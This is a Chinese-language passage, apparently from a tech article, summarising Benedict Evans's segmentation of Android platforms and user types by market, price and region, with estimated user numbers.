其中，前两类(或许也可以包括第三类)是“封闭的”Android，后三类是“开放的”Android（从厂商的角度来看）。从用户数量来说，前两类 Android 的用户有 10 亿用户，是中国以外的；第三类和第四类有 4 亿到 5 亿用户，几乎都在中国。第五类 Android 的用户大概有 5000 万，中国和中国以外都有，并且，这些用户与其它类型用户存在重合。至于第六类 Android 用户，只有亚马逊才知道吧。

同样，Android 用户也可以分为许多种。

1、使用第三方 ROM 的用户。
2、那些喜欢安装各种应用，以完成 iOS 上不允许之事的人。
3、那些对 Android 有个人喜好的人。他们不会去装第三方 ROM，或者去做些 iOS 上禁止的事情。
4、那些并不关心系统的人。他们选择 Android 的原因，或许是因为硬件设计，或者因为大屏幕。
5、那些买不起 iPhone 或其它高端手机的人。
6、那些并不在意智能手机的人。他们只是想买个便宜的手机，并不会对生态圈投入什么东西。
7、那些只能买得起 50 到 100 美元 Android 手机的人（新兴市场），但是，他们非常热情地探索各种功能。
8、与第 7 类接近，但是，他们有相对昂贵的网络套餐，受限的 3G 覆盖，并且，他们给手机充电都比较受限。这是智能手机接下来要覆盖的下一个 10 亿人。

“旧金山和雅加达的青少年，拥有的必备手机是非常不同的。不过，上述列表的重点在于，科技和移动市场的发展已经远远超过某个点，不会再有满足一切需要的单一市场了。当你把每个人联系起来的时候，你就会得到每一个人，而且他们都与你完全不同。” Benedict Evans 总结说。

积木

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